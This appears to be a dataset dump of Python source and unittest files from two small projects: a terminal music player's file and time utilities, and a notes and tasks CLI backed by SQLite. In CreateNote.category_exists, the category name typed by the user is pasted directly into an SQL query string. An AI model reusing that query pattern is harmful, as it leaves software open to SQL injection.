2.619899272918701, "max_stars_count": 2, "path": "pymusicterm/music/__init__.py" }, { "content": "import os\nimport unittest\n\nfrom pymusicterm.music import SongFile,is_valid_extension\n\ndef join_path(path,file_name) -> str:\n return os.path.join(path,file_name)\n\nclass TestSongFile(unittest.TestCase):\n \n def setUp(self):\n self.win_path='C:\\\\Users\\\\MyName\\Music'\n self.linux_path='/home/myuser/Music/'\n self.file_name='song.mp3'\n self.file_name2='song.wav'\n self.file_name3='song.mp4'\n\n self.win_song_file=SongFile(self.win_path,self.file_name)\n self.linux_song_file=SongFile(self.linux_path,self.file_name)\n\n def test_valid_extension(self):\n self.assertEqual(is_valid_extension(self.file_name),True)\n self.assertEqual(is_valid_extension(self.file_name2),True)\n self.assertEqual(is_valid_extension(self.file_name3),False)\n\n def test_get_name(self):\n self.assertEqual(self.win_song_file.get_name(),'song')\n self.assertEqual(self.linux_song_file.get_name(),'song')\n\n def test_get_file_path(self):\n self.assertEqual(self.win_song_file.get_file_path(),join_path(self.win_path,self.file_name))\n self.assertEqual(self.linux_song_file.get_file_path(),join_path(self.linux_path,self.file_name))\n\n def test_get_path(self):\n self.assertEqual(self.win_song_file.get_path(),self.win_path)\n self.assertEqual(self.linux_song_file.get_path(),self.linux_path)\n\n def tearDown(self):\n del(self.win_path)\n del(self.linux_path)\n del(self.file_name)\n\n del(self.win_song_file)\n del(self.linux_song_file)\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "551404", "language": "Python", "matching_score": 3.2388222217559814, "max_stars_count": 2, "path": "tests/music/test_song_file.py" }, { "content": "import unittest\n\nfrom pymusicterm.util.system import get_user_name\nfrom pymusicterm.util.file import File\n\nclass TestFile(unittest.TestCase):\n\n def setUp(self):\n self.file_class=File()\n self.username=get_user_name()\n self.win_path='C:\\\\Users\\\\{}\\Music'.format(self.username)\n self.linux_path='/home/{}/Music'.format(self.username)\n\n def test_get_default_path(self):\n self.assertIn(self.file_class.get_file_path(),[self.win_path,self.linux_path])\n\n def test_set_file_path(self):\n # Set default file path for windows\n self.file_class.set_file_path(self.win_path)\n self.assertEqual(self.file_class.get_file_path(),self.win_path)\n\n # Set default file path for linux\n self.file_class.set_file_path(self.linux_path)\n self.assertEqual(self.file_class.get_file_path(),self.linux_path)\n\n def tearDown(self):\n del(self.file_class)\n del(self.username)\n del(self.win_path)\n del(self.linux_path)\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "6255884", "language": "Python", "matching_score": 1.0650464296340942, "max_stars_count": 2, "path": "tests/util/test_file.py" }, { "content": "import platform\nimport getpass\n\ndef on_wsl() -> bool:\n \"\"\" Function that will detect if the program is runned on wsl\n\n Returns\n -------\n isOnWSL : bool\n Boolean value that indicates if the program is on wsl\n \"\"\"\n isOnWSL=False\n \n uname=platform.uname()\n system=uname[0]\n release=uname[2]\n\n if system.lower() == 'linux' and 'microsoft' in release.lower():\n isOnWSL=True\n return isOnWSL\n\ndef get_platform_name() -> str:\n \"\"\" Gets the name of the platform in lowercase\n\n Returns\n -------\n system : str\n Name of the platform (lowercase)\n \"\"\"\n return platform.system().lower()\n\ndef get_user_name() -> str:\n \"\"\" Gets the username of the device\n\n Returns\n -------\n username : str\n Username of the device\n \"\"\"\n return getpass.getuser()\n", "id": "484530", "language": "Python", "matching_score": 2.194573163986206, "max_stars_count": 2, "path": "pymusicterm/util/system.py" }, { "content": "import getpass\nimport platform\nimport unittest\n\nfrom pymusicterm.util.system import get_platform_name,get_user_name\n\nclass TestSystem(unittest.TestCase):\n\n def setUp(self):\n self.platform_name:str=platform.system()\n self.username:str=getpass.getuser()\n\n def test_get_platform(self):\n self.assertEqual(get_platform_name(),self.platform_name.lower())\n self.assertNotEqual(get_platform_name(),self.platform_name)\n self.assertNotEqual(get_platform_name(),'WINDOWS')\n self.assertNotEqual(get_platform_name(),'LINUX')\n \n def test_get_username(self):\n self.assertEqual(get_user_name(),self.username)\n self.assertNotEqual(get_user_name(),'username')\n \n def tearDown(self):\n del(self.platform_name)\n del(self.username)\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "10298417", "language": "Python", "matching_score": 0.9590660929679871, "max_stars_count": 2, "path": "tests/util/test_system.py" }, { "content": "import unittest\n\nfrom pymusicterm.util.time import milliseconds_to_minutes, milliseconds_to_seconds, seconds_to_milliseconds\n\nclass TestTime(unittest.TestCase):\n\n def setUp(self) -> None:\n #Example of song that last 3:45\n self.total_seconds:float=224.679125\n self.milliseconds:int=224680\n self.minutes:int=3\n self.seconds:int=45\n\n def test_milliseconds_to_minutes(self):\n self.assertEqual(milliseconds_to_minutes(self.milliseconds),self.minutes)\n\n def test_milliseconds_to_seconds(self):\n self.assertTrue(44 <= milliseconds_to_seconds(self.milliseconds) <= 46)\n\n def test_seconds_to_milliseconds(self):\n self.assertEqual(seconds_to_milliseconds(self.total_seconds),224680)\n\n def tearDown(self) -> None:\n del(self.total_seconds)\n del(self.milliseconds)\n del(self.minutes)\n del(self.seconds)\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "2349007", "language": "Python", "matching_score": 2.450490951538086, "max_stars_count": 2, "path": "tests/util/test_time.py" }, { "content": "def milliseconds_to_seconds(milliseconds:int) -> int:\n return int((milliseconds/1000)%60)\n\ndef milliseconds_to_minutes(milliseconds:int) -> int:\n return int((milliseconds/(1000*60))%60)\n\ndef seconds_to_milliseconds(seconds:float) -> int:\n return int(round(seconds,2)*1000)\n", "id": "501570", "language": "Python", "matching_score": 0, "max_stars_count": 2, "path": "pymusicterm/util/time.py" }, { "content": "import unittest\nfrom datetime import datetime\n\nfrom codenotes import parse_args\nfrom codenotes.cli.notes import CreateNote, SearchNote\nfrom codenotes.exceptions import CategoryNotExistsError\n\n\nclass TestCreateNote(unittest.TestCase):\n def setUp(self) -> None:\n self.expected_note_text = (\n \"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor \"\n \"incididunt ut labore et dolore magna aliqua.\"\n )\n\n def test_add_category_and_complete_note(self):\n args = parse_args(\n [\n \"note\", \"create\", \"Lorem\", \"ipsum\", \"dolor\", \"sit\", \"amet,\", \"consectetur\", \"adipiscing\", \"elit,\",\n \"sed\", \"do\", \"eiusmod\", \"tempor\", \"incididunt\", \"ut\", \"labore\", \"et\", \"dolore\", \"magna\", \"aliqua.\",\n \"--title\", \"Lorem\", \"ipsum\", \"Note\", \"--category\", \"CLI\", \"Category\",\n ]\n )\n add_note = CreateNote(args)\n\n self.assertEqual(add_note.category_id, 2)\n self.assertEqual(add_note.category_name, \"CLI Category\")\n self.assertEqual(add_note.note_text, self.expected_note_text)\n self.assertEqual(add_note.note_title, \"Lorem ipsum Note\")\n\n args = parse_args(\n [\n \"note\", \"create\", \"New\", \"Note\", \"in\", \"the\", \"same\", \"category\", \"--category\", \"CLI\", \"Category\",\n ]\n )\n add_note = CreateNote(args)\n\n self.assertEqual(add_note.category_id, 2)\n self.assertEqual(add_note.category_name, \"CLI Category\")\n self.assertEqual(add_note.note_text, \"New Note in the same category\")\n self.assertEqual(add_note.note_title, \"New Note in the same category\")\n\n def test_add_note(self):\n args = parse_args(\n [\n \"note\", \"create\", \"Lorem\", \"ipsum\", \"dolor\", \"sit\", \"amet,\", \"consectetur\", \"adipiscing\", \"elit,\",\"sed\",\n \"do\", \"eiusmod\", \"tempor\", \"incididunt\", \"ut\", \"labore\", \"et\", \"dolore\", \"magna\", \"aliqua.\",\n ]\n )\n add_note = CreateNote(args)\n\n self.assertEqual(add_note.note_text, self.expected_note_text)\n self.assertEqual(add_note.note_title, \"Lorem ipsum dolor sit amet, co\")\n\n def test_add_title(self):\n args = parse_args([\"note\", \"create\", \"--title\", \"Empty\", \"Note\"])\n add_note = CreateNote(args)\n\n self.assertEqual(add_note.note_text, None)\n self.assertEqual(add_note.note_title, \"Empty Note\")\n\n def tearDown(self) -> None:\n del self.expected_note_text\n\n\nclass TestSearchNote(unittest.TestCase):\n def setUp(self) -> None:\n self.date = datetime.now().date().strftime(\"%Y-%m-%d\")\n self.default_note_text = (\n \"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor \"\n \"incididunt ut labore et dolore magna aliqua.\"\n )\n self.default_note_title = \"Lorem ipsum Note\"\n self.default_category = \"General\"\n\n def test_search_by_category(self):\n expected_notes = [\n (\n \"Lorem ipsum dolor sit amet, co\",\n self.default_note_text,\n self.default_category,\n 0,\n self.date,\n ),\n (\"Empty Note\", None, self.default_category, 0, self.date),\n ]\n\n args = parse_args(\n [\"note\", \"search\", \"--category\", self.default_category, \"--ever\"]\n )\n query = SearchNote(args).sql_query()\n\n self.assertCountEqual(query, expected_notes)\n\n args = parse_args([\"note\", \"search\", \"--category\", \"Generl\", \"--ever\"])\n with self.assertRaises(CategoryNotExistsError):\n SearchNote(args).sql_query()\n\n def test_search_ever(self):\n expected_notes = [\n (\n self.default_note_title,\n self.default_note_text,\n \"CLI Category\",\n 0,\n self.date,\n ),\n (\n \"Lorem ipsum dolor sit amet, co\",\n self.default_note_text,\n self.default_category,\n 0,\n self.date,\n ),\n (\"Empty Note\", None, self.default_category, 0, self.date),\n (\n \"New Note in the same category\",\n \"New Note in the same category\",\n \"CLI Category\",\n 0,\n self.date,\n ),\n ]\n\n args = parse_args([\"note\", \"search\", \"--ever\"])\n query = SearchNote(args).sql_query()\n\n self.assertCountEqual(query, expected_notes)\n\n def test_search_month_note(self):\n expected_notes = [\n (\n self.default_note_title,\n self.default_note_text,\n \"CLI Category\",\n 0,\n self.date,\n ),\n (\n \"Lorem ipsum dolor sit amet, co\",\n self.default_note_text,\n self.default_category,\n 0,\n self.date,\n ),\n (\"Empty Note\", None, self.default_category, 0, self.date),\n (\n \"New Note in the same category\",\n \"New Note in the same category\",\n \"CLI Category\",\n 0,\n self.date,\n ),\n ]\n\n args = parse_args([\"note\", \"search\", \"--month\"])\n query = SearchNote(args).sql_query()\n\n self.assertCountEqual(query, expected_notes)\n\n def test_search_text_date(self):\n expected_notes = [\n (\n self.default_note_title,\n self.default_note_text,\n \"CLI Category\",\n 0,\n self.date,\n ),\n (\n \"Lorem ipsum dolor sit amet, co\",\n self.default_note_text,\n self.default_category,\n 0,\n self.date,\n ),\n ]\n\n args = parse_args([\"note\", \"search\", \"Lorem\", \"ipsum\", \"--today\"])\n query = SearchNote(args).sql_query()\n\n self.assertCountEqual(query, expected_notes)\n\n def test_search_text_note(self):\n\n expected_notes = [\n (\n self.default_note_title,\n self.default_note_text,\n \"CLI Category\",\n 0,\n self.date,\n ),\n (\n \"Lorem ipsum dolor sit amet, co\",\n self.default_note_text,\n self.default_category,\n 0,\n self.date,\n ),\n ]\n\n args = parse_args([\"note\", \"search\", \"Lorem\", \"ipsum\"])\n query = SearchNote(args).sql_query()\n\n self.assertCountEqual(query, expected_notes)\n\n def test_search_today_note(self):\n expected_notes = [\n (\n self.default_note_title,\n self.default_note_text,\n \"CLI Category\",\n 0,\n self.date,\n ),\n (\n \"Lorem ipsum dolor sit amet, co\",\n self.default_note_text,\n self.default_category,\n 0,\n self.date,\n ),\n (\"Empty Note\", None, self.default_category, 0, self.date),\n (\n \"New Note in the same category\",\n \"New Note in the same category\",\n \"CLI Category\",\n 0,\n self.date,\n ),\n ]\n\n args = parse_args([\"note\", \"search\", \"--today\"])\n query = SearchNote(args).sql_query()\n\n self.assertCountEqual(query, expected_notes)\n\n def test_search_yesterday_note(self):\n expected_notes = []\n\n args = parse_args([\"note\", \"search\", \"--yesterday\"])\n query = SearchNote(args).sql_query()\n\n self.assertCountEqual(query, expected_notes)\n\n def tearDown(self) -> None:\n del self.date\n del self.default_note_text\n del self.default_note_title\n del self.default_category\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "4368146", "language": "Python", "matching_score": 2.783780336380005, "max_stars_count": 4, "path": "tests/cli/test_notes.py" }, { "content": "import unittest\nfrom datetime import datetime\n\nfrom codenotes import parse_args\nfrom codenotes.cli.tasks import CreateTask, SearchTask\nfrom codenotes.exceptions import CategoryNotExistsError\n\n\nclass TestCreateTask(unittest.TestCase):\n # ! format_task_text function is indirectly tested\n def test_add_bad_input_task(self):\n \"\"\"Test bad task input, when is only typed ;\"\"\"\n args = parse_args([\"task\", \"create\", \";\"])\n add_task = CreateTask(args)\n\n self.assertTrue(isinstance(add_task.task, list))\n self.assertListEqual(add_task.task, [])\n\n def test_add_task_and_category(self):\n args = parse_args(\n [\"task\", \"create\", \"CLI\", \"task\", \"--category\", \"CLI\", \"Category\"]\n )\n add_task = CreateTask(args)\n\n self.assertEqual(add_task.category_id, 5)\n self.assertEqual(add_task.category_name, \"CLI Category\")\n self.assertEqual(add_task.task, \"CLI task\")\n\n args = parse_args(\n [\"task\", \"create\", \"Task\", \"in\", \"same\", \"category\", \"--category\", \"CLI\", \"Category\"]\n )\n add_task = CreateTask(args)\n\n self.assertEqual(add_task.category_id, 5)\n self.assertEqual(add_task.category_name, \"CLI Category\")\n self.assertEqual(add_task.task, \"Task in same category\")\n\n def test_add_many_tasks(self):\n \"\"\"Test the storage of two tasks\"\"\"\n args = parse_args([\"task\", \"create\", \"New task #2;New task #3\"])\n add_task = CreateTask(args)\n\n self.assertTrue(isinstance(add_task.task, list))\n self.assertListEqual(add_task.task, [\"New task #2\", \"New task #3\"])\n\n def test_add_one_task(self):\n \"\"\"Test the storage of one task\"\"\"\n args = parse_args([\"task\", \"create\", \"New task #1\"])\n add_task = CreateTask(args)\n\n self.assertTrue(isinstance(add_task.task, str))\n self.assertEqual(add_task.task, \"New task #1\")\n\n\nclass TestSearchTask(unittest.TestCase):\n def setUp(self) -> None:\n self.date = datetime.now().date().strftime(\"%Y-%m-%d\")\n self.default_category_name = \"TODO Tasks\"\n\n def test_search_by_category(self):\n expected_tasks = [\n (\"CLI task\", 0, self.date, \"CLI Category\"),\n (\"Task in same category\", 0, self.date, \"CLI Category\"),\n ]\n\n args = parse_args([\"task\", \"search\", \"--category\", \"CLI\", \"Category\", \"--ever\"])\n query = SearchTask(args).sql_query()\n\n self.assertCountEqual(query, expected_tasks)\n\n args = parse_args([\"task\", \"search\", \"--category\", \"CLI\", \"Categor\", \"--ever\"])\n\n with self.assertRaises(CategoryNotExistsError):\n SearchTask(args).sql_query()\n\n def test_search_ever(self):\n args = parse_args([\"task\", \"search\", \"--ever\"])\n expected_tasks = [\n (\"New task #1\", 0, self.date, self.default_category_name),\n (\"New task #2\", 0, self.date, self.default_category_name),\n (\"New task #3\", 0, self.date, self.default_category_name),\n (\"CLI task\", 0, self.date, \"CLI Category\"),\n (\"Task in same category\", 0, self.date, \"CLI Category\"),\n ]\n query = SearchTask(args).sql_query()\n\n self.assertCountEqual(query, expected_tasks)\n\n def test_search_month_task(self):\n # Stores a fourth task\n args = parse_args([\"task\", \"create\", \"Different\", \"task\"])\n CreateTask.set_args(args)\n\n expected_tasks = [\n (\"New task #1\", 0, self.date, self.default_category_name),\n (\"New task #2\", 0, self.date, self.default_category_name),\n (\"New task #3\", 0, self.date, self.default_category_name),\n (\"Different task\", 0, self.date, self.default_category_name),\n (\"CLI task\", 0, self.date, \"CLI Category\"),\n (\"Task in same category\", 0, self.date, \"CLI Category\"),\n ]\n\n args = parse_args([\"task\", \"search\", \"--month\"])\n query = SearchTask(args).sql_query()\n\n self.assertCountEqual(query, expected_tasks)\n\n def test_search_text_date(self):\n \"\"\"Test that search only one task by keywords and date in common\"\"\"\n\n expected_tasks = [(\"Different task\", 0, self.date, self.default_category_name)]\n args = parse_args([\"task\", \"search\", \"Different\", \"--today\"])\n query = SearchTask(args).sql_query()\n\n self.assertCountEqual(query, expected_tasks)\n\n def test_search_text_task(self):\n \"\"\"Test that search all tasks that match to some keywords\"\"\"\n expected_tasks = [\n (\"New task #1\", 0, self.date, self.default_category_name),\n (\"New task #2\", 0, self.date, self.default_category_name),\n (\"New task #3\", 0, self.date, self.default_category_name),\n ]\n args = parse_args([\"task\", \"search\", \"New\", \"task\"])\n query = SearchTask(args).sql_query()\n\n self.assertCountEqual(query, expected_tasks)\n\n def test_search_today_task(self):\n \"\"\"Test that search for the four tasks added\"\"\"\n expected_tasks = [\n (\"New task #1\", 0, self.date, self.default_category_name),\n (\"New task #2\", 0, self.date, self.default_category_name),\n (\"New task #3\", 0, self.date, self.default_category_name),\n (\"Different task\", 0, self.date, self.default_category_name),\n (\"CLI task\", 0, self.date, \"CLI Category\"),\n (\"Task in same category\", 0, self.date, \"CLI Category\"),\n ]\n\n args = parse_args([\"task\", \"search\", \"--today\"])\n query = SearchTask(args).sql_query()\n\n self.assertCountEqual(query, expected_tasks)\n\n def test_search_yesterday_task(self):\n expected_tasks = []\n\n args = parse_args([\"task\", \"search\", \"--yesterday\"])\n query = SearchTask(args).sql_query()\n\n self.assertCountEqual(query, expected_tasks)\n\n def tearDown(self) -> None:\n del self.date\n del self.default_category_name\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "11257279", "language": "Python", "matching_score": 2.7957987785339355, "max_stars_count": 4, "path": "tests/cli/test_tasks.py" }, { "content": "import unittest\n\nfrom codenotes import parse_args\nfrom codenotes.cli.category import CreateCategory, SearchCategory\n\n\nclass TestCreateCategory(unittest.TestCase):\n def test_create_bad_input(self) -> None:\n args = parse_args([\"category\", \"create\", \";\", \"--note\"])\n create_category = CreateCategory(args)\n\n self.assertTrue(isinstance(create_category.category, list))\n self.assertListEqual(create_category.category, [])\n\n def test_create_one(self) -> None:\n expected_category = \"New category #1\"\n\n args = parse_args([\"category\", \"create\", \"New\", \"category\", \"#1\", \"--task\"])\n create_category = CreateCategory(args)\n\n self.assertTrue(isinstance(create_category.category, str))\n self.assertEqual(create_category.category, expected_category)\n\n # TODO: CREATE NEW CATEGORY IN NOTES, AND TEST IT\n\n def test_create_many(self) -> None:\n expected_categories = [\"New category #2\", \"New category #3\"]\n\n args = parse_args(\n [\"category\", \"create\", \"New\", \"category\", \"#2\", \";\", \"New\", \"category\", \"#3\", \"--task\"]\n )\n create_category = CreateCategory(args)\n\n self.assertTrue(isinstance(create_category.category, list))\n self.assertListEqual(create_category.category, expected_categories)\n\n\nclass TestSearchCategory(unittest.TestCase):\n def test_search_notes(self) -> None:\n expected_categories = [[(\"General\",)]]\n\n args = parse_args([\"category\", \"search\", \"--note\"])\n\n query = SearchCategory(args).sql_query()\n self.assertListEqual(query, expected_categories)\n\n expected_categories = [[(\"General\",)]]\n\n args = parse_args([\"category\", \"search\", \"Gen\", \"--note\"])\n\n query = SearchCategory(args).sql_query()\n self.assertListEqual(query, expected_categories)\n\n def test_search_tasks(self) -> None:\n expected_categories = [\n [\n (\"TODO Tasks\",),\n (\"New category #2\",),\n (\"New category #3\",),\n (\"New category #1\",),\n ]\n ]\n\n args = parse_args([\"category\", \"search\", \"--task\"])\n\n query = SearchCategory(args).sql_query()\n self.assertListEqual(query, expected_categories)\n\n expected_categories = [\n [(\"New category #2\",), (\"New category #3\",), (\"New category #1\",)]\n ]\n\n args = parse_args([\"category\", \"search\", \"categ\", \"--task\"])\n\n query = SearchCategory(args).sql_query()\n self.assertListEqual(query, expected_categories)\n\n def test_search_all(self) -> None:\n expected_categories = [\n [\n (\"TODO Tasks\",),\n (\"New category #2\",),\n (\"New category #3\",),\n (\"New category #1\",),\n ],\n [(\"General\",)],\n ]\n\n args = parse_args([\"category\", \"search\", \"--all\"])\n\n query = SearchCategory(args).sql_query()\n self.assertListEqual(query, expected_categories)\n\n expected_categories = [\n [(\"New category #2\",), (\"New category #3\",), (\"New category #1\",)],\n [(\"General\",)],\n ]\n\n args = parse_args([\"category\", \"search\", \"ne\", \"--all\"])\n\n query = SearchCategory(args).sql_query()\n self.assertListEqual(query, expected_categories)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "11433979", "language": "Python", "matching_score": 2.0873358249664307, "max_stars_count": 4, "path": "tests/cli/test_category.py" }, { "content": "import calendar\nimport unittest\nfrom datetime import date, datetime, timedelta\n\nfrom codenotes import parse_args\nfrom codenotes.util.args import date_args_empty, dates_to_search\n\n\nclass TestDateArgsNeededEmpty(unittest.TestCase):\n def test_no_args(self):\n args = parse_args([\"task\", \"search\"])\n\n self.assertTrue(date_args_empty(args))\n\n def test_only_date(self):\n args = parse_args([\"task\", \"search\", \"--today\"])\n\n self.assertFalse(date_args_empty(args))\n\n def test_only_text(self):\n args = parse_args([\"task\", \"search\", \"New\", \"task\", \"added\"])\n\n self.assertFalse(date_args_empty(args))\n\n def test_text_and_date(self):\n args = parse_args([\"task\", \"search\", \"New\", \"task\", \"added\", \"--today\"])\n\n self.assertFalse(date_args_empty(args))\n\n\nclass TestDateToSearch(unittest.TestCase):\n def test_today(self):\n search_date = datetime.now().date()\n args = parse_args([\"task\", \"search\", \"--today\"])\n\n self.assertEqual(dates_to_search(args), search_date)\n\n def test_yesterday(self):\n search_date = datetime.now().date() - timedelta(days=1)\n args = parse_args([\"task\", \"search\", \"--yesterday\"])\n\n self.assertEqual(dates_to_search(args), search_date)\n\n def test_month(self):\n now = datetime.now()\n num_days = calendar.monthrange(now.year, now.month)[1]\n days = [date(now.year, now.month, 1), date(now.year, now.month, num_days)]\n\n args = parse_args([\"task\", \"search\", \"--month\"])\n\n self.assertListEqual(dates_to_search(args), days)\n\n def test_week(self):\n now = datetime.now().date()\n first_day = now - timedelta(days=now.weekday())\n last_day = first_day + timedelta(days=6)\n days = [first_day, last_day]\n\n args = parse_args([\"task\", \"search\", \"--week\"])\n\n self.assertListEqual(dates_to_search(args), days)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "id": "4941849", "language": "Python", "matching_score": 3.641655206680298, "max_stars_count": 4, "path": "tests/util/test_args.py" }, { "content": "import calendar\nfrom argparse import Namespace\nfrom datetime import date, datetime, timedelta\nfrom typing import Optional, Union, overload\n\n\ndef date_args_empty(args: Namespace) -> bool:\n \"\"\"Check if arguments required to search are empty\n\n Parameters\n ----------\n args: Namespace\n Arguments capture\n\n Returns\n -------\n empty: bool\n Return boolean value if all related args to search are empty\n \"\"\"\n args_needed = [\n args.month,\n args.text,\n args.today,\n args.week,\n args.yesterday,\n args.ever,\n ]\n\n if any(args_needed):\n return False\n return True\n\n\n@overload\ndef dates_to_search(args: Namespace) -> Optional[list[date]]:\n ...\n\n\n@overload\ndef dates_to_search(args: Namespace) -> Optional[date]:\n ...\n\n\ndef dates_to_search(args: Namespace) -> Optional[Union[list[date], date]]:\n \"\"\"Returns date to search depending of the user selection\n\n Parameters\n ----------\n args: Namespace\n Arguments capture\n\n Returns\n -------\n search_date: Optional[Union[list[date], date]]\n Returns date to search\n \"\"\"\n now = datetime.now().date()\n if args.today:\n return now\n\n elif args.yesterday:\n return now - timedelta(days=1)\n\n elif args.week:\n first_day = now - timedelta(days=now.weekday())\n last_day = first_day + timedelta(days=6)\n\n days = [first_day, last_day]\n\n return days\n\n elif args.month:\n num_days = calendar.monthrange(now.year, now.month)[1]\n days = [date(now.year, now.month, 1), date(now.year, now.month, num_days)]\n\n return days\n\n elif args.ever:\n return None\n\n\ndef format_argument_text(arg_text: list[str]) -> str:\n \"\"\"Function use to join the list of strings passed in the arguments\n\n Parameters\n ----------\n arg_text: list[str]\n list of strings capture by argparse\n\n Returns\n -------\n text_joined: str\n Returns text that was joined\n \"\"\"\n text = \" \".join(arg_text)\n\n return text.strip()\n", "id": "7394578", "language": "Python", "matching_score": 1.614113450050354, "max_stars_count": 4, "path": "codenotes/util/args.py" }, { "content": "from argparse import Namespace\nfrom datetime import date, datetime\nfrom typing import Any, Optional, Union, final\n\nfrom rich.console import Console\nfrom rich.markdown import Markdown\nfrom rich.panel import Panel\nfrom rich.theme import Theme\nfrom rich.tree import Tree\n\nimport codenotes.db.utilities.notes as notes\nimport codenotes.db.utilities.notes_categories as categories\nimport codenotes.util.help as help_text\nfrom codenotes.abstract import CreateABC, SearchABC\nfrom codenotes.cli import PrintFormatted\nfrom codenotes.db.connection import SQLiteConnection\nfrom codenotes.exceptions import CategoryNotExistsError, MissingArgsException\nfrom codenotes.util.args import (date_args_empty, dates_to_search,\n format_argument_text)\nfrom codenotes.util.sql import add_conditions_sql\n\n\ndef sorter(query: tuple) -> Any:\n \"\"\"Function used to get the key that will be used in the built-in function sorted()\n\n Parameters\n ----------\n query: tuple\n Row from the query done to the database, which contains the variables that will be used to sort the query\n\n Returns\n -------\n key: Any\n Returns the key that will be used\n \"\"\"\n return query[2]\n\n\ndef create_args_empty(args: Namespace) -> bool:\n \"\"\"Checks if the arguments required to create a new note are empty\n\n Parameters\n ----------\n args: Namespace\n Arguments capture with argparse\n\n Returns\n -------\n empty: bool\n Boolean value that indicates if the arguments required for a note are empty\n \"\"\"\n args_needed = [args.title, args.category, args.text]\n\n if any(args_needed):\n return False\n return True\n\n\n@final\nclass CreateNote(CreateABC):\n \"\"\"Class to create new notes and categories in the database\n\n This class only has the purpose to create and display the preview of notes, also create new categories and save\n notes in it. The arguments that will be used to create it are title, content and optionally a category\n\n Attributes\n ----------\n category_id: int\n Category Id where the note will be stored (Default 1)\n\n category_name: str\n Category name where the note will be stored (Default 'General')\n\n note_title: str\n Note title that can be assigned by the user or by its content\n\n note_text: str\n Content title that can be assigned by the user or not\n\n creation_date: date\n Date of the creation of the note (Today date)\n\n console: Console\n (Rich) Console for beatiful printting\n \"\"\"\n\n category_id: int = 1 # Default Id of 'General' category\n category_name: str = \"General\" # Default category name\n note_title: str = None\n note_text: str = None\n creation_date: date # Today's date\n console: Console\n\n def __init__(self, args: Namespace) -> None:\n \"\"\"Constructor of AddTask class\n\n Parameters\n ----------\n args : NameSpace\n Arguments of argparse\n \"\"\"\n self.console = Console()\n self.db = SQLiteConnection()\n self.creation_date = datetime.now().date()\n\n try:\n if create_args_empty(args):\n raise MissingArgsException\n\n if args.category:\n self.category_name = format_argument_text(args.category)\n self.save_category()\n\n if args.text or args.title:\n self._set_note_content(args)\n\n if args.preview:\n self.show_preview()\n\n else:\n self.save()\n except KeyboardInterrupt:\n PrintFormatted.interruption()\n\n except MissingArgsException:\n PrintFormatted.print_help(help_text.ADD_NOTE_USAGE_TEXT)\n\n @classmethod\n def set_args(cls, args: Namespace) -> None:\n \"\"\"Set args and initialize class\n\n Parameters\n ----------\n args : NameSpace\n Arguments of argparse\n \"\"\"\n cls(args)\n\n def _set_note_content(self, args) -> None:\n \"\"\"Set the content (title and text) of the note according to the arguments\"\"\"\n if args.text:\n self.note_text = format_argument_text(args.text)\n\n if not args.title:\n self.note_title = self.note_text[:30]\n else:\n self.note_title = format_argument_text(args.title)\n self._check_note_title()\n else:\n if args.title:\n self.note_title = format_argument_text(args.title)\n self._check_note_title()\n\n def _ask_category(self) -> None:\n \"\"\"Function that asks to the user to introduce different category name\"\"\"\n\n text = \"⚠️[yellow]Category name is too long (Max. 30).[/yellow] Write another name:\"\n self.category_name = self.console.input(text).strip()\n\n while len(self.category_name) == 0 or len(self.category_name) > 30:\n self.category_name = self.console.input(text).strip()\n else:\n self.save_category()\n\n def _check_note_title(self) -> None:\n \"\"\"Check if the note title can be saved\n\n The title that will be assigned to the note can't be longer than 30 characters\n \"\"\"\n if len(self.note_title) > 30:\n text = \"⚠️[yellow]Note title is too long(Max. 30).[/yellow] Write another title:\"\n self.note_title = self.console.input(text).strip()\n\n while len(self.note_title) == 0 or len(self.note_title) > 30:\n self.note_text = self.console.input(text).strip()\n\n def save_category(self) -> None:\n \"\"\"Creates and saves a new category if not exists\n\n When the note(s) is going to be saved and is created a new category, it will set the id of this new one and\n store the note(s) in this created category\n \"\"\"\n if (\n len(self.category_name) <= 30\n ): # Category name can't be longer than 30 characters\n\n if self.category_exists(self.category_name):\n custom_theme = Theme({\"msg\": \"#31f55f bold\", \"name\": \"#616161 italic\"})\n PrintFormatted.custom_print(\n f\"[msg]Category selected:[/msg][name]{self.category_name}[/name]\",\n custom_theme,\n )\n else:\n sql = f\"INSERT INTO {categories.TABLE_NAME} ({categories.COLUMN_NAME}) VALUES (?)\"\n cursor = self.db.exec_sql(sql, (self.category_name,))\n\n self.category_id = cursor.lastrowid\n\n self.db.commit()\n PrintFormatted.print_category_creation(self.category_name)\n\n else:\n self._ask_category()\n\n def category_exists(self, category_name: str) -> bool:\n \"\"\"Checks if the typed category exists\n\n Parameters\n ----------\n category_name: str\n Name of the category which will be verified if it exists\n\n Returns\n -------\n exists: bool\n Boolean value flag if the category already exists\n \"\"\"\n sql = (\n f\"SELECT {categories.COLUMN_ID} FROM {categories.TABLE_NAME} WHERE \"\n f\"{categories.COLUMN_NAME} = '{category_name}'\"\n )\n query = self.db.exec_sql(sql)\n categories_list: list[tuple] = query.fetchall()\n\n if categories_list: # # categories_list == (id,)\n self.category_id = categories_list[0][0]\n return True\n return False\n\n def show_preview(self) -> None:\n \"\"\"Method that displays a panel with the title and text of the note\"\"\"\n\n self.console.rule(\"Preview\", style=\"purple\")\n self.console.print(\n Panel(\n self.note_text if self.note_text else \"[red bold]Empty note[/red bold]\",\n title=self.note_title,\n )\n )\n\n if PrintFormatted.ask_confirmation(\n \"[yellow]Do you want to save it?(y/n):[/yellow]\"\n ):\n self.save()\n\n def save(self) -> None:\n \"\"\"Saves the note created in the database and setting category to store\"\"\"\n sql = (\n f\"INSERT INTO {notes.TABLE_NAME} ({notes.COLUMN_TITLE}, {notes.COLUMN_CONTENT}, \"\n f\"{notes.COLUMN_CATEGORY}, {notes.COLUMN_CREATION}) VALUES (?,?,?,?);\"\n )\n\n with self.console.status(\"[bold yellow]Saving Note\") as status:\n values = (\n self.note_title,\n self.note_text,\n self.category_id,\n self.creation_date,\n )\n self.db.exec_sql(sql, values)\n\n PrintFormatted.print_content_storage(self.note_title, self.category_name)\n\n self.console.print(\"[bold green]✔️ Note Correctly Saved\")\n status.stop()\n\n self.db.commit()\n 